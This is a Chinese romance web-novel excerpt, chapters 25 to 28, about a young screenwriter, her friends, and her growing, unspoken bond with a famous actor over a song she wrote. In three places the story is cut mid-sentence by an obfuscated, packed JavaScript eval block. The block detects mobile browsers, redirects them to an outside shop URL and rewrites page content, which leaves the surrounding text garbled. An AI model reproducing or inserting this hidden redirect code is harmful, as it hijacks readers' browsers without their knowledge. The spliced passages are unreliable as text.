“别瞎说。”闻朝感觉脸又热了,“他能有什么意图。我们就是工作关系,加上……我是他粉丝?他可能比较照顾粉丝?”越说声音越小。 “粉丝?”宋枝和陆易安对视一眼,都看到对方眼里的“不信”。 但她们也没再逼问,只是宋枝拍了拍闻朝的肩膀,语重心长:“行吧,你说工作关系就工作关系。不过,‘悸动是唯一的节拍’这种句子都写出来了,朝朝,对自己诚实点,没什么大不了的。喜欢一个很优秀的人,不丢人。” 闻朝沉默着,看着前方缓慢移动的队伍。诚实?她当然知道自己是诚实的,对歌词诚实,对自己的心跳诚实。可这份诚实,在现实巨大的鸿沟面前,显得如此轻飘无力。 “我知道。”她最终轻声说,更像是对自己的安抚,“所以只是写下来。写下来,封存在歌词里,就够了。” 排到她们时,已经是下午两点了。店内人声鼎沸,烤鸭的香气浓郁得化不开。 点完菜,等上餐的间隙,宋枝微微侧身盯着闻朝,“接着说啊,后来呢?送完粥,讨论完歌词,就没再有点别的‘文化交流’?” 闻朝拿起桌边的酸梅汤小口地喝着,喝了几口才简单讲述了后续:他离开,帮她扔了垃圾,背影消失在拐角。 她省略了指尖相触时那细微的电流感,也略去了自己对着那句“悸动是唯一的节拍”心绪难平的后半夜。 “就这样?”宋枝显然不满意,“然后呢?第二天在片场见到,就没点不一样?” “能有什么不一样?”闻朝放下杯子,“片场那么忙,各做各的事。他……很正常。” “正常?”宋枝挑眉,“以我纵横情场……呃,观察人类多年的经验,这种‘深夜送温暖+深入灵魂交流创作’的发展之后,第二天见面如果一切如常,要么是对方段位太高,要么就是……”她拖长了音调。 “就是什么?”陆易安也好奇了。 “就是有人,因为心里有鬼,所以看什么都觉得‘正常’,其实说不定人家一个眼神早就暗藏玄机,只是她自己不敢接,或者根本没敢看!”宋枝一针见血。 闻朝被噎住,一时无法反驳。她确实……不敢多看。每次在片场遇到沈淮时,她都下意识地避免目光直接接触,匆匆一瞥便移开,生怕泄露太多,也怕从他眼中看到任何让她误读或失望的情绪。 陆易安看着闻朝微微泛红却强作镇定的侧脸,用肩膀轻轻撞了撞她,示意道:“别听枝枝瞎分析,她那是狗血电视剧看多了。顺其自然就好。有时候,不去刻意解读,反而能看得更清楚。” “还是易安最好了。”闻朝松了口气。 这时,片好的烤鸭和配套的卷饼小料被服务员熟练地摆上桌,香气扑鼻,瞬间转移了所有人的注意力。 “哇!来了来了!”宋枝立刻忘记了刚才的“案情分析”,摩拳擦掌,“我要开动了!朝朝,快,教教我怎么卷最好吃!” 三个脑袋凑到一起,研究着鸭皮蘸白糖的奇妙口感,争论着甜面酱该抹多少,葱丝和黄瓜条哪一个才是美味灵魂。 笑声、咀嚼声、满足的喟叹声交织在一起,小小的四方桌被温暖热闹的气息填满。 “我倒希望你们能再发展发展,”吃了一会儿,宋枝的注意力立刻又转了回来,她压低声音,眼睛亮晶晶的,闪着对自家闺蜜八卦的好奇,“这种近水楼台先得月、因工作生情的桥段多浪漫啊…… “能有什么后来,”她低头往卷饼里夹小料,声音闷闷的,“他戏份快杀青了,本来见面机会就不多。而且……人家是大明星,行程很忙的。” “大明星也是人嘛,也要吃饭睡觉,也会有七情六欲嘛。”宋枝不以为意,将卷好的烤鸭塞进嘴里,满足地眯起眼,含糊不清地说,“再说了,我们朝朝也不差啊,新锐编剧,才华横溢,长得又……嗯,虽然比不上女明星,但也清秀可人嘛!” “吃你的烤鸭吧!这么多好吃的都堵不住你的嘴!”闻朝被她这番半是调侃半是真心的话弄得脸颊绯红,又羞又窘,干脆夹起一块肥瘦相间的鸭肉片,眼疾手快地塞进宋枝还没完全闭上的嘴里。 “唔!谋杀亲友啊!”宋枝被偷袭,瞪大了眼睛,含糊抗议,却还是乖乖嚼了起来,脸上洋溢着恶作剧得逞般的笑容。 陆易安慢条斯理地卷饼,温声开口:“感情的事,外人确实不好评判。不过朝朝,不管你和他之后会怎样,这段经历,这些感受,包括那首歌,都是很珍贵的东西。它们属于你。” “易安说得对。”她轻声应和,脸上露出一个释然的微笑。 “好啦好啦,知道你们一个理智一个文艺。”宋枝消灭掉嘴里的食物,豪迈地一挥手,“我就庸俗,就想看我们朝朝谈一场甜甜的恋爱!不过嘛……” 她眼珠一转,狡黠地笑,“现在最重要的是继续吃!朝朝请客,不吃回本怎么行!吃完咱们去逛商场,我要买买买,庆祝我们铁三角胜利会师!” “赞成!”陆易安笑着举起了酸梅汤杯子。 “赞成!”闻朝也笑着碰杯。 美食入腹,挚友在侧,那些悬而未决的忐忑,似乎也被这人间烟火气安抚了很多。 吃完了烤鸭,宋枝又兴致勃勃地拉着她们去附近的商场“消食”。商场里暖气开得很足,她们漫无目的地闲逛,试戴一些夸张可爱的发饰,试用最新色号的口红,在香气馥郁的护肤品柜台前驻足,讨论着哪些值得入手。 宋枝和陆易安还硬拉着闻朝试了几件风格迥异的衣服,看着她被摆弄得手忙脚乱,笑作一团。 逛累了,她们找了家安静的咖啡馆坐下,点了三杯热饮。 温暖的灯光,舒缓的音乐,放松的氛围让话题又回到了最初。 “说真的,朝朝,”宋枝搅动着杯中的拉花,语气难得正经了几分,“如果他……我是说如果,沈淮时对你真的有那么一点不一样的意思,你会怎么办?” 闻朝握着温热的杯壁,沉默良久。 “我不知道。”她诚实地说,“也许……会害怕。” “害怕什么?” “害怕自己承受不起。”闻朝看着杯中浮起的奶泡,“他的世界太耀眼,也太复杂。我只是个普通人,写点普通的故事,过着普通的生活。那点‘不一样’,也许只是他一时兴起的错觉,或者我自作多情的误会。就算不是……跨过去,需要面对的也太多太多了。” 陆易安轻轻握住她的手:“别想那么远,朝朝。感情不是解数学题,没有标准答案,也不用一步就看到终点。重要的是,你的感受是真的。至于未来……交给时间和缘分吧。” 宋枝也难得没有唱反调,只是叹了口气:“也是。大明星的感情,确实不是我们普通人能随便掺和的。不过,”她又恢复了活力,握拳道,“我们朝朝也不是吃素的!以后成了有名的大作家、最厉害的编剧,让他再来演你的戏!到时候,看他还敢不敢‘悬而未决’!” 闻朝被逗笑了,心头那些沉甸甸的顾虑,似乎也被这玩笑话冲淡了一些。 是啊,未来还长,谁又说得准呢? 逛完出了商场,夜色已经深沉了,街道冷清了许多,但灯火依旧璀璨。她们慢慢往回走,并肩而行的倒影在被灯光拉的越来越长。 “对了,”快到公寓楼下时,宋枝忽然想起什么,掏出手机,“差点忘了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋枝也看到了,她没看清具体内容,只瞥见了发信人名字那个“沈”字,顿时来了精神,“‘沈’?沈淮时?他找你?说什么了?” 陆易安也微微侧过头,眼神平静地看向闻朝。 闻朝坐直身体,拿过手机,解锁。屏幕上确实只有那两个字。她沉默了几秒,在两位好友注视下,没有选择隐瞒,而是把手机屏幕转向她们。 “就……‘晚安’。”她说,声音里有一丝自己都没察觉的茫然。 宋枝和陆易安对视了一眼。 “有情况。”宋枝斩钉截铁,但语气里少了之前的调侃,多了几分严肃的观察,“大明星这么闲?晚上十点多给一个‘普通剧组同事’发晚安?” “也许……只是礼貌?”闻朝试图解释,却觉得这个理由连自己都说服不了。沈淮时的礼貌是周到而疏离的,绝不会在非工作时间,发送这样一条毫无必要、又略显亲昵的信息。 陆易安轻轻拍了拍闻朝的手背,温声道:“朝朝,别急着下结论,也别急着否定自己的感觉。‘晚安’可以有很多种含义,也可能没有任何特殊含义。重要的是,你怎么想?你希望它有什么含义吗?” 她希望吗?那个站在聚光灯下,一个眼神就能让片场寂静,一个背影就能让她写下“季节断裂”的男人,她难道不曾偷偷希望,那些短暂的靠近、那些意有所指的话语、甚至这条突如其来的“晚安”,都不仅仅只是礼貌或职业素养? 可是希望之后呢?巨大的差距,复杂的环境,无法预知的未来……每一个现实因素都像冰冷的墙壁,矗立在模糊的希望之前。 “我不知道。”闻朝最终低声说,手指无意识地摩挲着手机冰冷的边缘,“我只是……有点乱。” “乱是正常的。”宋枝收起了玩笑的神色,语气变得认真,“面对沈淮时那样的人,不乱才奇怪。但朝朝,别让这份‘乱’主导你。就像你歌词里写的,‘悬而未决’,那就先悬着。该工作工作,该写歌写歌,该跟我们吃喝玩乐就专心吃喝玩乐。至于他是什么意思……时间,或者他接下来的行动,会慢慢告诉你答案。在答案清晰之前,别自乱阵脚,也别……提前透支太多快乐或伤心。” 陆易安点头表示赞同:“享受当下,朝朝。享受你的创作,享受我们的相聚,也享受……这份‘悬而未决’本身带来的、独特的感受。它也是你生命体验的一部分,无关结果,就已经很珍贵了。” 闻朝看着屏幕上那简单的两个字,又看了看身边两位挚友关切而坦然的眼,心里那团乱麻,似乎被一双温柔的手轻轻理出了头绪。 “嗯。”她应了一声,低下头,指尖在屏幕上悬停片刻,最终也回了一个:【晚安。】 没有表情,没有修饰,甚至没有句号。就像他发来的一样简洁。 发送出去后,她抬起头对着宋枝和陆易安笑了笑,那笑容里还有些许未散的羞赧和茫然,却已经明朗了许多,“不管了,明天不是还要去故宫吗,我得想想穿什么。” 宋枝立刻被转移了注意力:“对对对!我带了条新围巾,巨好看,配你那件米白色大衣肯定绝了!” 话题很快又回到了明天的行程穿搭配饰、拍照攻略上。 小小的公寓里再度充满了女孩子叽叽喳喳的欢快讨论声。 26. “能被看懂,比什么都重要” 第二天,故宫的红墙黄瓦在初春澄澈的阳光下显得格外恢弘肃穆。 宋枝果然拿出了那条色彩绚烂的羊绒围巾,不由分说地围在闻朝颈间,衬得她米白色的大衣都鲜活了几分。 她们随着并不稀疏的人流,缓缓走过午门。 宋枝的相机快门声几乎没停过,拉着闻朝和陆易安在各种红墙下、宫门前、古树下摆姿势。 “朝朝,笑开一点!对,就这样!”宋枝指挥着,“易安,你往左边站点,对,完美!” 闻朝依言微笑,阳光有些刺眼,迫使她微微眯起眼眸。 “看这里!”宋枝喊了一声。闻朝下意识转头,笑容没来得及完全舒展开,就被宋枝抓拍下来。 后来看照片时,她发现自己那一刻的眼神,是带着点恍惚的清澈,像故宫金水河里融了碎冰的水。 越往里走,闻朝的目光就越被宫殿飞檐的轮廓吸引,脑海里不合时宜地闪过一些场景的构思,甚至……某个古装角色该以怎样的姿态倚靠在这汉白玉栏杆上,回眸时,眼里该盛着多少宫墙也锁不住的寂寥。 “啧,职业病又犯了是吧?”宋枝凑过来,顺着她的目光看过去,“看到什么都想写成戏?” 闻朝笑着推她,“别瞎说。” “我哪有瞎说,”宋枝挽住她胳膊,声音带着笑意和一种不容置疑的笃定,“不过说真的,朝朝,等你以后写出特别牛的古装大戏,厚重的,悲悯的,让所有人物都活过来的那种。到时候,”她促狭地眨眨眼,压低声音,话语落在闻朝耳畔,“就让沈淮时来演那个最复杂、最深情的皇帝,你就演他藏在心底、一辈子求而不得的……” 闻朝耳根发烫,手下用力。 “诶诶诶,轻点轻点!我错了我错了!”宋枝笑着躲闪,夸张地告饶。 陆易安在一旁笑着摇头,递过来瓶水,“喝点水,歇会儿。前面人好像更多了。” ------ 送宋枝和陆易安走的那个下午,北京下起了淅淅沥沥的春雨。 首都机场T3航站楼里,人流如织,广播声不时响起。 “行了行了,就送到这儿吧,再往里你也进不去了。”宋枝用力抱了抱闻朝,声音有点闷,但很快又扬起脸,故作潇洒地拍了拍闻朝的肩膀,“回去好好写剧本!好好写歌!下次见面,我要看到更厉害的闻大编剧!” “还有,”她压低声音,凑到闻朝耳边,飞快地说,“沈淮时那边……顺其自然,但也别太怂!他要是再发‘晚安’,你可以考虑回个‘好梦’试试水温!”说完,她自己先咯咯笑起来。 闻朝哭笑不得地推了她一把,笑骂道:“快过安检吧你!” 陆易安走过来,给了闻朝一个更长久、更安静的拥抱。 “照顾好自己,朝朝。”她的声音温和而坚定,“记得我们说的话。北京很大,但你有自己的舞台。无论遇到什么,我们都在。” “嗯。”闻朝用力点头,眼眶有些发热,“你们也是,一路平安,到了给我发消息。” “那必须的!”宋枝挥舞着登机牌,“等我们落地,第一时间骚扰你!下次旅行去哪儿?云南?还是干脆出国?我们可以开始计划了!” “好啊,等你们有空,我们再商量。”闻朝笑着应道。 …… 闻朝独自回到突然显得空荡许多的公寓,空气里似乎还残留着好友的笑语和香水味。 她在窗边站了一会儿,看着雨丝在玻璃上划出细长的痕迹,然后转身,目光落在书桌那个摊开的笔记本上。 假期结束,该回去了。 回到剧组时,已是深夜。影棚里依旧灯火通明,夜戏刚散,工作人员正收拾器材。 经过主演休息区时,她脚步几不可察地顿了顿。那扇门虚掩着,透出暖黄的光,里面似乎还有低语声。 她垂眸,加快脚步,走向自己那间小办公室。 钥匙插进锁孔,转动,然后门开了。熟悉的纸张与旧书气味扑面而来。 她打开灯,目光扫过桌面离开前摊开的剧本和笔记还维持着原样,只是上面落了一层薄灰。 她拿出湿巾,开始擦拭桌面。收拾完之后,闻朝深吸一口气,在椅子上坐下。 该干活了。 她翻开最新的剧本修订意见,拿起笔,强迫自己将注意力集中到那些密密麻麻的批注上。 终于将修改完的剧本最终版和歌词的定稿发给了张导,她揉着发酸的眼睛,靠在椅背上长舒一口气。 手机震动,是宋枝发来的消息,几张她和陆易安在老家的合照,背景是熟悉的街道和小吃摊。 【看,你不在,我俩照样嗨!不过还是想念北京的烤鸭(和某人)~】 闻翘着嘴角回复:【烤鸭可以真空邮寄,某人就免了。】 刚发送,门口传来轻微的脚步声。她下意识抬头,见沈淮时正朝这边走来,手里拿着剧本,脸上带着一丝罕见的、明显的倦色。 他今天似乎拍了不少情绪激烈的戏份。 他在她旁边停下,看了眼她合上的电脑和手边厚厚的剧本打印稿,“改完了?” “刚提交。”闻朝答道,注意到他眉心微蹙,“你……今天拍得不顺?” 沈淮时按了按太阳穴,没有直接回答,而是看着她,忽然问:“《第五个季节》……写完了吗?” 闻朝一怔,没料到他还会提起这个。“算是……已经发给导演了。” “能看看吗?”他的请求很自然,语气里听不出太多情绪,但眼神落在她脸上,带着一种专注的等待。 闻朝迟疑了一瞬。这首歌承载了太多私人的心绪,给他看,无异于将那些“悬而未决”的暗喻暴露在日光下。 但此刻,他眉宇间的倦意,和他第一次看到歌名时那句“很有意思”重叠在一起,让她鬼使神差地,点了点头。 她翻开笔记本,找到最终定稿的那一页,递了过去。 沈淮时接过来,垂眸阅读。 他的目光沉静地扫过每一行字,从“昼夜失序的钟摆”到“悸动是唯一的节拍”,再到“你转身的拐角,是季节断裂的入口”,最终停在最后那句“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276105|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在这里,是悬而未决的季候”。 片场的噪音渐渐低下去,临近收工,灯光一盏盏熄灭,只留下他们这一角还闪着昏黄的光晕。 他的侧脸在光线下显得轮廓分明,睫毛垂下,遮住了眼底的情绪。 时间仿佛被拉长,每一秒都清晰可闻。 良久,他抬起眼,将笔记本递还给她。 “很好。”他说,声音比平时更低沉些,带着一种经过斟酌的肯定,“比之前的……更完整,也更准确。” “准确?”闻朝接过本子,指尖触到纸张微凉的质感。 “嗯。”他看向远处正在收工的场务,侧脸线条在渐暗的光线里显得有些模糊,“那种……停留在某个临界点的状态。不往前,也不后退,只是悬在那里,承载着所有未完成的可能性。” 他停顿了一下,转回视线,看向她,“这很难写。你抓住了。” 他的解读精准地击中了闻朝创作时最核心的感受。 不是哀怨,不是放弃,而是一种主动选择的停留,一种对复杂情感本身的尊重和凝视。 她的心脏微微收紧,不是因为悸动,而是因为一种被深刻理解的震动。 “谢谢。”她低声说,将笔记本抱在胸前,像护住一个刚刚被确认价值的秘密。 沈淮时没再说什么,只是极轻地扯了下嘴角,那笑意淡得几乎看不见,却驱散了些许他眉间的倦色。 他直起身,看了眼天色,“收工了。早点回去休息。” “你也是。” 她慢慢收拾好东西,关灯,锁门。 走出影棚时,夜风裹挟着湿润的泥土气息扑面而来。 雨已经停了,地面映着路灯昏黄的光,像散落一地的碎琉璃。 手机屏幕在黑暗中亮起,是张导的回复:【收到。歌词意境贴合,尤其是最后一段的留白,给画面和情绪都留了足够的空间。明天下午三点,和作曲老师一起碰个头?】 闻朝回了句“好的”,将手机放回口袋。 回到公寓,开门,开灯。 一室冷清扑面而来。挚友留下的那点热闹气息,此刻已被寂静完全稀释。 她脱下外套,给自己倒了杯温水,在窗边坐下。 手机屏幕亮起,是宋枝发来的新消息,【你的歌怎么样了?】 闻朝犹豫了一下,回复:【发给导演了。刚在片场,沈淮时也看了。】 消息几乎秒回:【!!!他说什么了?】 看着那三个惊叹号,闻朝几乎能想象出宋枝瞪大眼睛的样子。 她斟酌着词句:【说很好,很准确。准确抓住了“悬而未决”的状态。】 【就这?没别的了?】宋枝显然不满足。 【没了。】闻朝如实回答,顿了顿,又补充,【但我觉得……他是真的看懂了。】 这次宋枝隔了一会儿才回复,语气认真了些:【那很重要。能被看懂,比什么都重要。】 闻朝看着这行字,轻轻“嗯”了一声,即使对方听不见。 是啊,很重要。 27. 这或许就是最好的‘然后\’ 第二天下午,闻朝提前十分钟到了约定的会议室。 作曲老师常暮是个爽朗的中年人,他早早就到了,正对着电脑屏幕上的旋律线条皱眉思考。 张导随后进来,手里拿着打印出来的歌词。 寒暄过后,讨论很快切入正题。 “这个状态很难用旋律直接描摹,太实了就像哀怨,太虚了又容易飘。”常暮摸着下巴,“我想试试用一些不稳定的和音过渡,在主歌部分营造一种空灵宿命感。” 闻朝仔细听着,偶尔补充几句歌词创作时对情绪节点的设想。 张导更多从画面角度出发,讨论某些句子适合配以怎样的特写。 会议进行到一半,门被轻轻敲响。 沈淮时推门进来,手里拿着剧本,身上还穿着戏里的便服,显然是刚下戏。 “张导,常老师。”他点头致意,目光扫过闻朝,微微颔首,算是打过招呼。“打扰,关于下场戏的几句台词节奏,想跟张导再确认一下。” “正好,淮时你也来听听。”张导招手让他坐下,“我们在讨论《第五个季节》的作曲,你是这首歌的‘主人公’,感觉最直接。” 沈淮时依言坐下,位置恰好在闻朝斜对面。他接过常暮递过来的初步旋律小样耳机,低头听起来。 闻朝的目光不由自主地落在他身上。他闭着眼,睫毛在会议室偏冷的光线下垂下一小片阴影,神情专注。 播放器细微的旋律泄露出来,是她熟悉的词句,被尚未成型的音符承载着,有种陌生的悸动。 片刻,他摘下耳机,递给常暮。“副歌第二段,‘悸动是唯一的节拍’,这里的旋律可以再‘滞’一点。”他斟酌着用词,“是一种……更滞重的心跳。悬而未决的时候,心跳不是轻快的,是每一下都沉重,砸在等待里。” 常暮眼睛一亮,快速在电脑上记录,“有道理!” 讨论的氛围因他的加入而更加活跃。他话不多,但每次开口,都精准地切入情绪内核。 闻朝听着,最初那点不自在渐渐消散,取而代之的是一种创作上的共鸣与兴奋。她看到他并非只是解读,而是在用演员的敏感,共同构建这个“季节”。 会议结束时,旋律的大体方向已经确定。 张导和常暮先离开,会议室里只剩下闻朝和沈淮时。 闻朝整理着笔记,感觉他的视线落在自己身上。 “常老师的旋律框架很好,”他忽然开口,声音不高,“你的词,给了他空间,也定了调子。” 闻朝抬起头,撞进他深邃的眼眸。那里没有了昨晚的倦色,却多了些她看不懂的、复杂的思绪。 “是你的解读,给了我们方向。”她实话实说。 沈淮时下意识地摇了摇头,似乎想说什么,最终却只是拿起自己的剧本。 “晚上有夜戏,”他说,“先走了。” 他走到门口,手搭在门把上,停顿了一下,没有回头。“闻朝。” “嗯?”她心尖微微一颤。 “那首歌,”他的声音平稳传来,“‘悬而未决’,有时候不是因为无法前进,而是因为知道它值得停在最美的临界点上。” 门被轻轻拉开,又合上。他的脚步声消失在走廊。 闻朝独自坐在渐渐沉寂下来的会议室里,空气中仿佛还回荡着他最后那句话。 她忽然明白了昨天他那句“准确”背后,未尽的含义。 他读懂的,或许不仅是词句里的状态,还有她书写时,那份小心翼翼的保护与珍重。 手机在口袋里震动,是宋枝的消息:【会议开得怎么样?】 闻朝走到窗边,下午的阳光透过玻璃,暖洋洋地铺陈开来。 她回复:【很好。旋律有了方向。他也在,提了很关键的建议。】 宋枝:【!!!然后呢?有没有什么‘然后’?】 闻朝看着窗外明净的天空,一行飞鸟正振翅掠过楼宇间的缝隙。她嘴角浮起一丝清淡的、了然的微笑。 【然后,他说,它值得停在最美的临界点上。】 【这算什么然后?!】 闻朝没有立刻回复。 她想起故宫冰融的金水河,想起歌词上的季候,想起他看她歌词时垂下的眼睫。 这或许就是最好的‘然后’。 有些东西,不必急于表达和定义,只需要安静地悬在那,像一场季节的等候。 微信依旧叮当响,宋枝的好奇心太重,不扒到答案誓不罢休,闻朝无奈,拿起手机,最终回复她:【有些‘然后’,不需要急于发生,安静地候在那,就足够了。】 收拾好心情离开会议室,走廊里带着暖意的嘈杂渐渐驱散了刚才那种悬浮的寂静。 闻朝回到自己的办公室,打开电脑,开始敲击着键盘,将刚刚会议上所讨论的要点整理出来。 常暮发来了几段经过调整的旋律,她点开,音乐回荡在安静的空间,多了些空旷感。 的确,经过调整的旋律,比起从前,更多了几分“滞重感”,情感层次更丰富了。 想了想,她又打开电脑,讲那段歌词根据旋律的滞空再做些微调。 直到傍晚,闻朝刚修改完最后一段副歌的用词,准备离开,手机响了。 是桑华:【朝朝!下班了吧?救命,得前胸贴后背了,今天给一群群演化战损妆,累劈了。赏脸一起吃个饭?我知道附近有家不错的云南菜,米线一绝。】 闻朝这才想起上周随口约过的饭,【好啊,我也刚弄完。地址发我?】 【行!就知道你最好了!十五分钟后见!】 桑华选的馆子确实不远,藏在影视基地外围一条热闹的小吃街里,门店不大,里面却整洁干净,弥漫着酸辣鲜香的独特气息。 桑华已经到了,换了身舒适的卫衣牛仔裤,正拿着菜单研究,脸上还带着点没完全擦干净的淡妆痕迹。 “这儿!”她挥手,等闻朝坐下,立刻把菜单推过来,“快快,酸汤肥牛米线、小锅米线、豆花米线,还有这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276106|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉拌薄荷牛肉,听说都好吃。我选择困难症,你来定。” 闻朝笑起来,点了酸汤肥牛米线和薄荷牛肉,又加了份包浆豆腐。 等菜的时候,桑华叽叽喳喳说起今天片场的趣事,哪个小演员化妆时睡着了,哪个老师讲戏特别生动,还有沈淮时今天那场重头戏的情感爆发多么有感染力。 “你是没看见,陈导喊卡之后,好几分钟现场都没人说话,全被他带进去了。”桑华吸溜着免费送的酸梅汤,眼睛发亮,“不过他一出戏状态收得也快,就是看着有点……疲倦。我给他补妆的时候,感觉他睫毛都在颤。” 闻朝静静听着,手指无意识地摩挲着杯壁。 菜很快上齐,两人边吃边聊,话题从工作慢慢转向生活。 “对了,”桑华夹起一块包浆豆腐,忽然想起什么,“你们开会定歌,沈老师后来是不是提了挺多意见?他好像对这首歌特别上心。拍戏间隙,我还看见他拿着印了歌词的纸在看,眉头皱着,特别认真。” 闻朝夹米线的筷子微微一顿,“嗯,他给了很关键的建议,从人物内心出发的,常老师和张导都觉得特别好。” “我就说嘛。”桑华点点头,又压低声音,带着点朋友间分享秘密的神气,“而且我感觉,他对你写的词……好像有点不一样。不是那种客套的夸奖,是真的很在意里面的意思。好几次,我听见他跟陈导讨论或者自己琢磨的时候,会引用你歌词里的某句,来形容他那个角色的某个时刻。” 热气似乎更浓了,熏得闻朝脸颊有些发烫,她低头喝了口汤,“可能是因为词写的就是他的角色,共鸣强吧。” “可能吧。”桑华耸耸肩,也没深究,转而抱怨起最近熬夜太多皮肤变差。 吃完饭,两人沿着灯火通明的小吃街慢慢往外走。晚风带了点凉意,吹散了身上的饭菜热气。 影视基地的方向依然灯火通明。 “谢谢你啊朝朝,这顿饭吃得太舒服了,感觉自己又活过来了。”桑华伸了个懒腰,“明天还得早起,有个主演要试老年妆。你呢?歌词算是彻底搞定了吧?” “嗯,基本定了,就等常老师那边完整的编曲出来,可能再微调。” “那就好。等歌出来我一定要第一个听!”桑华在路口停下,她要回剧组宿舍,和闻朝的方向相反,两人道别。 闻朝走过一个拐角,前方就是影视基地的侧门。她下意识地抬眼望去,恰好看见一群人从里面走出来,似乎是刚下夜戏。 被簇拥在中间的,正是沈淮时。 他换了黑色的羽绒服,没戴帽子,头发被风吹得有些乱,脸上带着显而易见的倦色,但身姿依然挺拔,正微微侧头听旁边的副导演说着什么。 似有所感,他的目光忽然抬起,越过穿梭的人影和车流,准确地落在了闻朝身上。 他眼神停顿了一秒,没有多余的表情,只是极轻微地点了下头。 闻朝也下意识地点了点头回应。然后,他便被等候的车辆接走,消失在夜色深处。 28. “我能再开一场演唱会吗?” 深夜,北京城笼罩在一种微妙的昼夜平衡之中。 手机屏幕忽然亮起,是特别关注的推送提示。 她划开,是一个品牌直播间的链接推送,标题写着:“沈淮时×XX品牌春分新生专属直播”。 她的指尖在屏幕上悬停了几秒。 自从上次假期结束回剧组后,她和沈淮时之间的状态,进入了一种微妙的“新常态”。 他没有更进一步,她也没有试图跨越。那份“悬而未决”被两人默契地维持着,仿佛都在等待一个更清晰的信号,或者,只是单纯地让这种朦胧的感觉,在各自繁忙的轨道上多运行一段距离。 直播已经开始了几分钟。 闻朝点进去,画面里,沈淮时穿着品牌方准备的浅春装,坐在布置温馨简洁的直播间里,灯光柔和地打在他身上,勾勒出清晰而好看的侧脸线条。 他正配合着主持人的问题,介绍着产品特性,语气温和而专业,偶尔露出得体的微笑,引得评论区飞速刷过一片“啊啊啊”和“老公好帅”。 闻朝将手机靠在笔记本电脑旁,音量调低,一边心不在焉地扫着剧本,一边用余光看着屏幕里的他。 这种隔着屏幕看他被千万人瞩目的感觉有些奇异,仿佛那个会在深夜发来“晚安”,会认真与她讨论歌词细微情绪的男人,只是她虚构出来的一个影子。 直播进行到互动环节,气氛热烈。 主持人是一位经验丰富、擅长调动气氛的年轻女性,她笑着转向沈淮时,“淮时,我们都知道你过去一年非常忙碌,电影、剧集、还有各种活动,成绩斐然。今天是春分,昼夜平分,象征新生和希望。能不能和我们分享一下,在这个特别的节气里,你个人有什么新的心愿或者期待呢?工作上,生活上,都可以哦!” 问题很常规,也很适合这种轻松的品牌活动。 沈淮时似乎微微怔了一下,他脸上的职业性笑容淡去了一些,目光投向正前方的镜头,又仿佛穿透了镜头,看向了更远的地方。 直播间的背景音乐是轻柔的纯音乐,此刻显得格外清晰。 评论区还在热闹地滚动着各种猜测: 【新电影!】 【好好休息!】 【新歌!专辑!】 【全国路演!】 【演唱会!!!】 他安静了片刻。 那几秒钟的沉默,在原本流畅的直播中显得有些突兀,连主持人都下意识地调整了一下坐姿,脸上保持着微笑,眼神却透出一丝询问。 然后,沈淮时开口了。 他的声音透过手机的扬声器传来,比平时听到的似乎更低沉,也更清晰,每一个字都像是轻轻敲在闻朝的心上。 他说: “我能再开一场演唱会吗?” 不是陈述,是询问。 语气平静,甚至带着点不确定的征询意味。但那双看向镜头的眼睛,却异常明亮,里面某种被压抑许久的情绪终于在此刻被泄露出来了。 主持人显然没料到会是这样一个回答,笑容凝滞了半秒,随即立刻反应过来,用更热情的语气接道:“当然能啊!淮时的演唱会,那可是所有粉丝的梦想!我们都在期待着那一天!不过……” 她巧妙地想把话题拉回更安全的领域,“是因为最近有新歌计划,所以才特别想开演唱会吗?” 沈淮时却似乎没有顺着她递来的台阶往下走。他微微摇了摇头,目光依旧专注,仿佛那个问题不仅仅是在回答主持人,更是在对屏幕外守着直播间的粉丝发问,或者,是在对自己确认。 “不完全是新歌。”他缓缓说,语速很慢,像是在斟酌每一个字的分量,“就是……很想再站在那个舞台上。只用音乐,和大家说话。唱以前的老歌,也唱……一些没唱过的、对我有特别意义的歌。” 他的声音里有一种罕见的、近乎直白的真挚,褪去了所有明星光环的包装,简单得让人心头一颤。 评论区瞬间爆炸。 【哭了!!!!!】 【有生之年系列!】 【哥哥你想开就开啊!我们永远在!】 【特别意义的歌!是不是写给我们的?(狗头)】 【氛围突然好认真,我都不敢刷屏了……】 闻朝放在键盘上的手指蜷缩了起来,她看着屏幕里沈淮时的眼睛,那里面的光,她并不陌生。 那是他讨论剧本时陷入沉思的光,是他说“悸动是唯一的节拍”时眼底流转的光,是他在深夜发来“晚安”时,她隔着屏幕仿佛能感受到的、属于创作者的孤寂与热望交织的光。 演唱会、舞台、音乐、和他。 这几个词在她脑海里盘旋,与《第五个季节》的旋律悄然重叠。 那首尚未完全成形、承载了她太多隐秘心事的歌,他提过编曲小样,她听过,粗糙的demo里已能听出他想要表达的、某种空旷而温柔的意境。 他会……把它放进演唱会吗?放进那些“有特别意义的歌”里? 这个念头一旦升起,就像野火般蔓延开来,烧得她耳根发热,心跳失序。 主持人已经机智地将话题引导向了粉丝对演唱会的期待和祝福,直播在一种热烈又略带感动的氛围中接近尾声。 沈淮时最后对着镜头微笑挥手,说“再见”时,目光似乎又一次深深地望进了镜头里。 直播结束,画面切回商品链接。 